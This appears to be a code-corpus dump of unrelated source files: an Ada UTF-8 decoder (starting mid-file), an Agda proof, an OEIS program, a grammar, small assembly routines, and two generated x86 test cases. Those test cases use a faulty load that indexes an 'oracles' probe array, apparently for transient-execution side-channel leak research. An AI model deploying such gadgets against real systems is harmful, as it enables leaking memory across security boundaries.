Codepoint_Shift_And_Add; begin pragma Assert (Validate_Sequence(Sequence)); case Sequence'Length is when 1 => pragma Assert (Sequence'First in 1 .. 4); pragma Assert (Sequence'Last = Sequence'First); Codepoint := Encoded_Codepoint (Sequence(Sequence'First) and 2#0_1111111#); Result := Wide_Wide_Character'Val (Codepoint); Status := Success; pragma Assert (Wide_Wide_Character'Pos (Result) in 16#000000# .. 16#00007F#); return; when 2 => pragma Assert (Sequence'First in 1 .. 3); pragma Assert (Sequence'Last = Sequence'First + 1); Codepoint := Encoded_Codepoint (Sequence(Sequence'First) and 2#000_11111#); -- Overlong check -- -- If the leading byte shall not be zero or one. If it was zero or -- one, then that would mean the full value would be a 7-bit value, -- which could be encoded in a single byte. if Codepoint < 2 then Result := Unicode_Replacement_Character; Status := Overlong; return; else pragma Assert (Codepoint in 2 .. 16#7F#); Codepoint_Shift_And_Add (Sequence(Sequence'First + 1)); Result := Wide_Wide_Character'Val (Codepoint); Status := Success; pragma Assert (Wide_Wide_Character'Pos (Result) in 16#000080# .. 16#0007FF#); return; end if; when 3 => pragma Assert (Sequence'First in 1 .. 2); pragma Assert (Sequence'Last = Sequence'First + 2); Codepoint := Encoded_Codepoint (Sequence(Sequence'First) and 2#0000_1111#); declare Second_Byte: Stream_Element renames Sequence(Sequence'First + 1); Third_Byte: Stream_Element renames Sequence(Sequence'First + 2); begin -- Overlong check -- -- The leading byte may encode zero. This would be needed to -- encode any 12-bit value, since a two byte sequence can only -- encode 5 + 6 = 11 bits. -- -- This means that if the first byte encodes zero, the second -- byte must be greater than 1F, since 0 .. 1F would be a five- -- bit value meaning the total value would be 5 + 6 bits. if Codepoint = 0 and then (Second_Byte and 2#00_111111#) <= 16#1F# then Result := Unicode_Replacement_Character; Status := Overlong; return; else Codepoint_Shift_And_Add (Second_Byte); Codepoint_Shift_And_Add (Third_Byte); if Codepoint in 16#D800# .. 16#DFFF# | 16#FDD0# .. 16#FDEF# | 16#FFFE# .. 16#FFFF# then -- IETF STD63/RFC3629 Section 3: -- UTF-16 "surrogate pairs" -- (U+D800 .. U+DFFF) are prohibited -- -- Unicode Corrigendum #9 - Noncharacter -- codepoints: -- U+FDD0 .. U+FDEF -- U+nFFFE + U+nFFFF Result := Unicode_Replacement_Character; Status := Codepoint_Excursion; return; end if; Result := Wide_Wide_Character'Val (Codepoint); Status := Success; return; end if; end; when 4 => pragma Assert (Sequence'First = 1); pragma Assert (Sequence'Last = Sequence'First + 3); Codepoint := Encoded_Codepoint (Sequence(Sequence'First) and 2#00000_111#); declare Second_Byte: Stream_Element renames Sequence(Sequence'First + 1); Third_Byte: Stream_Element renames Sequence(Sequence'First + 2); Fourth_Byte: Stream_Element renames Sequence(Sequence'First + 3); begin -- Overlong check -- -- For a 3-byte sequence, the largest value that can be stored -- is 4-bits + 6 + 6 = 16 bits. For a 4-byte sequence, if the -- third and fourth bytes account for 6 + 6 = 12 bits, and we -- assume they are all 1's, and we allow the first byte to -- encode zero, we then must have more than the first 4 bits set -- in the second byte - i.e. the second byte must encode a value -- that is > 16#F# (< 16#10#). -- -- If the first byte encodes anything > 0, this forces the value -- to be at least 1 + 6 + 6 + 6 = 19 bits, which is valid. -- Excursion check -- -- However, if the first byte encodes something > 0, it must not -- encode anything larger than 16#10FFFF# (as per the Unicode -- standard). -- -- It turns-out that there are two separate cases we need to -- check for. One is if the first three bits encode anything -- larger than 2#100# (anything > 4), since this will definately -- encode a value larger than 16#10FFFF#. -- -- Alternately, if the value encoded by the first byte is -- exactly 4 (2#100#), we need to also check that the second -- byte does not encode anything larger than 2#001111# -- (anything > 16#F#). -- -- Since this check is exclusive of the overlong check -- (it only applies when the first byte is not zero), we can -- encode this into a case statement, allowing for an efficient -- jump-table to be constructed by the compiler case Codepoint is when 0 => -- Possible overlong if (Second_Byte and 2#00_111111#) < 16#10# then Result := Unicode_Replacement_Character; Status := Overlong; return; end if; when 2#001# .. 2#011# => -- This is fine null; when 2#100# => -- Possible excursion if (Second_Byte and 2#00_111111#) > 2#001111# then Result := Unicode_Replacement_Character; Status := Codepoint_Excursion; return; end if; -- Otherwise, we're ok when others => -- Definite excursion Result := Unicode_Replacement_Character; Status := Codepoint_Excursion; return; end case; Codepoint_Shift_And_Add (Second_Byte); Codepoint_Shift_And_Add (Third_Byte); Codepoint_Shift_And_Add (Fourth_Byte); -- Check Unicode Noncharacter codepoints -- U+nFFFE .. U+nFFFF if (Codepoint and 16#FFFF#) in 16#FFFE# .. 16#FFFF# then Result := Unicode_Replacement_Character; Status := Codepoint_Excursion; else Result := Wide_Wide_Character'Val (Codepoint); Status := Success; end if; return; end; when others => raise Program_Error; -- Postcondition of Indicated_Continuation_Bytes excludes this -- possibility end case; -- Unreachable pragma Assert (False); end Verified_Combine; ---------------- -- Try_Decode -- ---------------- procedure Try_Decode (Sequence : in Sequence_Array; Last : out Sequence_Index; Continuation_Bytes: out Stream_Element_Count; Result : out Wide_Wide_Character; Status : out Decode_Status) is begin Continuation_Bytes := 0; Result := Unicode_Replacement_Character; if Sequence'Length = 0 then Last := Sequence_Index'First; Status := Short_Load; return; elsif not Validate_First (Sequence(Sequence'First)) then Last := Sequence'First; Status := Bad_Sequence; return; end if; pragma Assert (Validate_First (Sequence(Sequence'First))); Continuation_Bytes := Indicated_Continuation_Bytes (Sequence(Sequence'First)); pragma Assert (Continuation_Bytes in 0 .. 3); if Sequence'Length < Continuation_Bytes + 1 then Last := Sequence'First; Status := Short_Load; return; end if; Last := Sequence'First + Continuation_Bytes; if Last > Sequence'First and then (for some Octet of Sequence (Sequence'First + 1 .. Last) => not Validate_Continuation (Octet)) then Result := Unicode_Replacement_Character; Status := Bad_Sequence; return; end if; pragma Assert (Validate_Sequence (Sequence(Sequence'First .. Last))); Verified_Combine (Sequence => Sequence(Sequence'First .. Last), Result => Result, Status => Status); pragma Assert (Status in Success | Overlong | Codepoint_Excursion); end Try_Decode; end Unicode.UTF8_Stream_Decoder.Codec;
Agda/Sol01.agda
Brethland/LEARNING-STUFF
2
9693
{-# OPTIONS --safe #-} module Sol01 where open import Data.Nat open import Data.Nat.Properties open import Relation.Binary.PropositionalEquality fibAux : ℕ -> ℕ -> ℕ -> ℕ fibAux a b 0 = a fibAux a b (suc n) = fibAux b (a + b) n fib2 : ℕ -> ℕ fib2 = fibAux 0 1 fib : ℕ -> ℕ fib 0 = 0 fib 1 = 1 fib (suc (suc n)) = fib (suc n) + fib n lemma : ∀ (a b c d n : ℕ) → fibAux (a + c) (b + d) n ≡ fibAux a b n + fibAux c d n lemma a b c d zero = refl lemma a b c d (suc n) rewrite sym (+-assoc (a + c) b d) | +-assoc a c b | +-comm c b | sym (+-assoc a b c) | +-assoc (a + b) c d = lemma b (a + b) d (c + d) n fibEq : (n : ℕ) -> fib2 n ≡ fib n fibEq zero = refl fibEq (suc zero) = refl fibEq (suc (suc n)) rewrite lemma 0 1 1 1 n | fibEq n | fibEq (suc n) | +-comm (fib n) (fib (suc n)) = refl
programs/oeis/296/A296306.asm
neoneye/loda
22
162548
<gh_stars>10-100 ; A296306: a(n) = A001157(n)/A050999(n). ; 1,5,1,21,1,5,1,85,1,5,1,21,1,5,1,341,1,5,1,21,1,5,1,85,1,5,1,21,1,5,1,1365,1,5,1,21,1,5,1,85,1,5,1,21,1,5,1,341,1,5,1,21,1,5,1,85,1,5,1,21,1,5,1,5461,1,5,1,21,1,5,1,85,1,5,1,21,1,5,1,341,1,5,1,21,1,5,1,85,1,5,1,21,1,5,1,1365,1,5,1,21 add $0,1 mov $1,1 lpb $0 dif $0,2 mul $1,4 lpe mul $1,4 div $1,3 mov $0,$1
misc/Cool_2020.g4
mykolav/coollang-2020-fs
20
4300
grammar Cool_2020; program : classdecl+ ; classdecl : 'class' ID varformals ('extends' ID actuals)? classbody ; varformals : '(' (varformal (',' varformal)*)? ')' ; varformal : 'var' ID ':' ID ; classbody : '{' (feature ';')* '}' ; feature : 'override'? 'def' ID formals ':' ID '=' expr | 'var' ID ':' ID '=' expr | '{' block? '}' ; formals : '(' (formal (',' formal)*)? ')' ; formal : ID ':' ID ; actuals : '(' (expr (',' expr)*)? ')' ; block : (('var' ID ':' ID '=')? expr ';')* expr ; // The expresson's syntax is split in `expr`, `prefix`, `primary`, and `infixop_rhs` to avoid left recursion. expr : prefix* primary infixop_rhs* ; prefix : ID '=' | '!' | '-' | 'if' '(' expr ')' expr 'else' | 'while' '(' expr ')' ; primary : ('super' '.')? ID actuals | 'new' ID actuals | '{' block? '}' | '(' expr ')' | 'null' | '(' ')' | ID | INTEGER | STRING | BOOLEAN | 'this' ; infixop_rhs : ('<=' | '<' | '>=' | '>' | '==' | '!=' | '*' | '/' | '+' | '-') expr | 'match' cases | '.' ID actuals ; cases : '{' ('case' casepattern '=>' caseblock)+ '}' ; casepattern : ID ':' ID | 'null' ; caseblock : block | '{' block? '}' ; ID : [a-zA-Z$_][a-zA-Z0-9$_]* ; INTEGER : [0-9]+ ; STRING : '"' (~["\\] | '\\' [0btnrf"\\])*? '"' | '"""' .*? '"""' ; BOOLEAN : 'true' | 'false' ; BLOCK_COMMENT : '/*' .*? '*/' -> skip ; LINE_COMMENT : '//' .*? ('\r\n' | '\r' | '\n') -> skip ; WS : [ \r\n\t]+ -> skip ;
src/main/fragment/mos6502-common/vwsm1_gt_0_then_la1.asm
jbrandwood/kickc
2
82722
lda {m1}+1 bne !+ lda {m1} beq !e+ lsr !: bpl {la1} !e:
libsrc/oz/ozgfx/ozrestorescreen.asm
jpoikela/z88dk
640
12588
<filename>libsrc/oz/ozgfx/ozrestorescreen.asm<gh_stars>100-1000 ; ; Sharp OZ family functions ; ; ported from the OZ-7xx SDK by by <NAME> ; by <NAME> - Oct. 2003 ; ; ; ; ; ------ ; $Id: ozrestorescreen.asm,v 1.3 2016-06-28 14:48:17 dom Exp $ ; SECTION code_clib PUBLIC ozrestorescreen PUBLIC _ozrestorescreen EXTERN ozsccopy EXTERN ozactivepage .ozrestorescreen ._ozrestorescreen ld de,968h push de ld hl,0 push hl ld h,4 ;; l=0 still ld de,(ozactivepage) jp ozsccopy
April/types.ads
Black-Photon/Programming-Language-of-the-Month
0
18344
package types is type Percent is delta 10.0 ** (-2) digits 5; type Index is range 1 .. 100; type Rod_Array is array (Index) of Percent; type Kilojoule is delta 10.0 ** (-4) digits 8; end types;
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_1275.asm
ljhsiun2/medusa
9
15978
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r8 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x58a5, %r8 nop nop nop nop nop inc %rbx movw $0x6162, (%r8) sub $61988, %r10 lea addresses_UC_ht+0x1af85, %r12 nop nop nop nop cmp %rdi, %rdi movw $0x6162, (%r12) nop nop mfence lea addresses_A_ht+0x59e5, %r12 nop nop sub %rcx, %rcx mov $0x6162636465666768, %r8 movq %r8, (%r12) nop nop nop nop add %r8, %r8 lea addresses_normal_ht+0x10b2b, %rdi nop nop nop nop nop add %rcx, %rcx mov $0x6162636465666768, %r8 movq %r8, %xmm3 vmovups %ymm3, (%rdi) nop nop xor $17484, %r8 lea addresses_A_ht+0xc7e5, %r9 nop nop nop nop inc %r10 mov (%r9), %cx nop nop nop nop nop sub $6532, %rbx lea addresses_WT_ht+0xcd75, %rsi lea addresses_A_ht+0x108e5, %rdi clflush (%rsi) nop add %r10, %r10 mov $115, %rcx rep movsw nop nop nop dec %rdi lea addresses_normal_ht+0x11165, %r12 nop nop nop sub %rcx, %rcx mov (%r12), %r10d nop nop nop sub $19842, %r9 lea addresses_WT_ht+0x153e5, %r12 nop cmp $14614, %rsi mov (%r12), %ecx nop nop nop nop nop add %r9, %r9 lea addresses_WT_ht+0x30e5, %rsi lea addresses_normal_ht+0x85e5, %rdi and $26465, %r8 mov $65, %rcx rep movsq nop nop xor $4043, %rsi lea addresses_D_ht+0xc1e5, %rbx nop nop nop nop inc %rdi mov $0x6162636465666768, %rcx movq %rcx, (%rbx) nop nop nop cmp $36901, %r12 lea addresses_D_ht+0x10fe5, %rbx nop nop nop nop sub $16072, %rdi vmovups (%rbx), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $1, %xmm2, %rcx nop nop nop nop nop sub $38808, %r10 lea addresses_WT_ht+0x86e5, %rsi cmp $47869, %rbx mov $0x6162636465666768, %r12 movq %r12, %xmm7 movups %xmm7, (%rsi) nop nop add %r8, %r8 pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r14 push %r9 push %rax push %rdi // Store lea addresses_US+0x15525, %rax nop dec %rdi mov $0x5152535455565758, %r14 movq %r14, (%rax) nop nop add %r14, %r14 // Store lea addresses_UC+0x8e65, %rax nop nop add $889, %r11 movw $0x5152, (%rax) sub $58474, %r11 // Faulty Load lea addresses_RW+0x147e5, %r9 inc %r11 movups (%r9), %xmm2 vpextrq $0, %xmm2, %r13 lea oracles, %r10 and $0xff, %r13 shlq $12, %r13 mov (%r10,%r13,1), %r13 pop %rdi pop %rax pop %r9 pop %r14 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_RW', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_US', 'AVXalign': False, 'size': 8}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_UC', 'AVXalign': False, 'size': 2}} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_RW', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_UC_ht', 'AVXalign': True, 'size': 2}} {'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 9, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 8}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32}} {'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 2, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_A_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 7, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8}} {'src': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
oeis/279/A279735.asm
neoneye/loda-programs
11
98839
; A279735: Number of n X 2 0..1 arrays with no element equal to a strict majority of its horizontal and antidiagonal neighbors, with the exception of exactly one element, and with new values introduced in order 0 sequentially upwards. ; 0,2,8,26,80,240,708,2062,5944,16990,48220,136032,381768,1066586,2968040,8230370,22751528,62716752,172447884,473081830,1295113240,3538749862,9652296628,26285128896,71472896400,194075990450,526312559048,1425591708842,3857095149824,10424861465520,28148359839060,75933662103742,204662088036088,551167542644206,1483175900251660,3988251298536480,10716916056279768,28778619912643082,77231974747748264,207140274486557810,555244728113694680,1487538577903878672,3983149130344229148,10660298519318319766 lpb $0 sub $0,1 add $2,2 add $2,$0 max $1,$2 add $1,$3 add $3,3 add $3,$1 lpe mov $0,$3 div $0,5 mul $0,2
Transynther/x86/_processed/NC/_zr_/i3-7100_9_0x84_notsx.log_14334_829.asm
ljhsiun2/medusa
9
81474
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %r9 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x9d4, %rdx nop nop cmp %r9, %r9 vmovups (%rdx), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $1, %xmm5, %r13 nop nop nop nop nop inc %r9 lea addresses_WT_ht+0x17ae4, %rbx nop nop nop and $10371, %rdi movb (%rbx), %dl nop nop nop xor %rdi, %rdi lea addresses_A_ht+0xf3b0, %rbx nop nop nop nop and $34856, %r14 and $0xffffffffffffffc0, %rbx movaps (%rbx), %xmm7 vpextrq $1, %xmm7, %rdx nop nop nop sub $15254, %rbx lea addresses_UC_ht+0x75b4, %rsi lea addresses_normal_ht+0x7914, %rdi nop nop nop nop nop sub $36579, %rbx mov $122, %rcx rep movsl nop inc %r9 lea addresses_WC_ht+0x10d14, %r13 nop nop dec %rcx mov $0x6162636465666768, %r9 movq %r9, %xmm7 vmovups %ymm7, (%r13) nop nop nop cmp %r13, %r13 lea addresses_WT_ht+0xa94, %rsi nop nop nop sub %r14, %r14 movb (%rsi), %cl nop nop nop nop and %rdx, %rdx lea addresses_normal_ht+0xa714, %rsi lea addresses_WT_ht+0x654, %rdi nop nop nop lfence mov $62, %rcx rep movsb nop nop nop nop xor %r14, %r14 lea addresses_A_ht+0x16a01, %rcx nop nop nop nop nop inc %r14 mov $0x6162636465666768, %r13 movq %r13, %xmm2 and $0xffffffffffffffc0, %rcx vmovaps %ymm2, (%rcx) sub $35381, %r14 lea addresses_normal_ht+0xc914, %rdi clflush (%rdi) nop nop xor $47472, %rcx movups (%rdi), %xmm4 vpextrq $0, %xmm4, %r14 nop nop nop cmp $19303, %rbx lea addresses_A_ht+0x1e714, %rsi lea addresses_UC_ht+0xd718, %rdi nop nop xor %r14, %r14 mov $15, %rcx rep movsl cmp $14144, %rdx lea addresses_WT_ht+0x19114, %rsi lea addresses_normal_ht+0x12494, %rdi nop nop nop nop nop cmp $9398, %rbx mov $8, %rcx rep movsl nop nop nop dec %r9 lea addresses_WT_ht+0x6914, %rsi lea addresses_A_ht+0x18744, %rdi nop nop nop nop dec %rdx mov $97, %rcx rep movsl nop nop cmp %r13, %r13 lea addresses_WC_ht+0x6498, %rsi lea addresses_WT_ht+0x14514, %rdi nop sub %rbx, %rbx mov $49, %rcx rep movsq nop nop nop nop nop and %rcx, %rcx lea addresses_WC_ht+0xdf94, %rsi lea addresses_WT_ht+0x1e114, %rdi clflush (%rdi) nop nop nop nop and %rdx, %rdx mov $38, %rcx rep movsq nop nop nop nop and $54512, %r13 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r9 pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r15 push %rbp push %rcx push %rdi push %rdx // Store lea addresses_RW+0x1f0f4, %rcx nop nop nop nop nop cmp %rbp, %rbp movw $0x5152, (%rcx) nop nop nop nop nop dec %rcx // Store mov $0x594, %r15 nop nop nop nop xor %r13, %r13 movw $0x5152, (%r15) nop nop cmp %r13, %r13 // Load lea addresses_D+0x4f14, %rdx nop nop nop sub $59280, %rdi movb (%rdx), %r15b // Exception!!! nop nop nop nop mov (0), %r13 nop nop nop and %r13, %r13 // Load mov $0x6858a0000000864, %r12 nop nop nop nop cmp $43800, %rdx mov (%r12), %r15d nop nop nop cmp $5881, %rcx // Store lea addresses_WC+0x14494, %rdi nop nop nop cmp $27983, %rcx mov $0x5152535455565758, %r15 movq %r15, %xmm6 movups %xmm6, (%rdi) nop nop nop nop add $57660, %r15 // Store mov $0x1353cc0000000714, %rcx nop nop nop nop nop add %rdx, %rdx movl $0x51525354, (%rcx) // Exception!!! nop mov (0), %r13 nop nop dec %rdi // Load lea addresses_US+0x14ef4, %rcx nop cmp $7778, %rdi mov (%rcx), %r15w nop xor $24171, %rdx // Store lea addresses_UC+0x2734, %r12 nop nop nop nop and %rdx, %rdx mov $0x5152535455565758, %rdi movq %rdi, %xmm7 vmovups %ymm7, (%r12) nop nop and $38468, %r15 // Store lea addresses_US+0x1c60c, %r15 nop and $55552, %r12 movw $0x5152, (%r15) nop nop nop nop nop cmp %rcx, %rcx // Faulty Load mov $0x559ecc0000000114, %r12 nop nop nop and $31698, %rdi mov (%r12), %rcx lea oracles, %rdx and $0xff, %rcx shlq $12, %rcx mov (%rdx,%rcx,1), %rcx pop %rdx pop %rdi pop %rcx pop %rbp pop %r15 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_NC', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_RW', 'same': False, 'size': 2, 'congruent': 5, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'dst': {'type': 'addresses_P', 'same': False, 'size': 2, 'congruent': 7, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D', 'same': False, 'size': 1, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_NC', 'same': False, 'size': 4, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WC', 'same': False, 'size': 16, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_NC', 'same': False, 'size': 4, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_US', 'same': False, 'size': 2, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC', 'same': False, 'size': 32, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_US', 'same': False, 'size': 2, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_NC', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WC_ht', 'same': True, 'size': 32, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': True}, 'OP': 'REPM'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'00': 14334} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 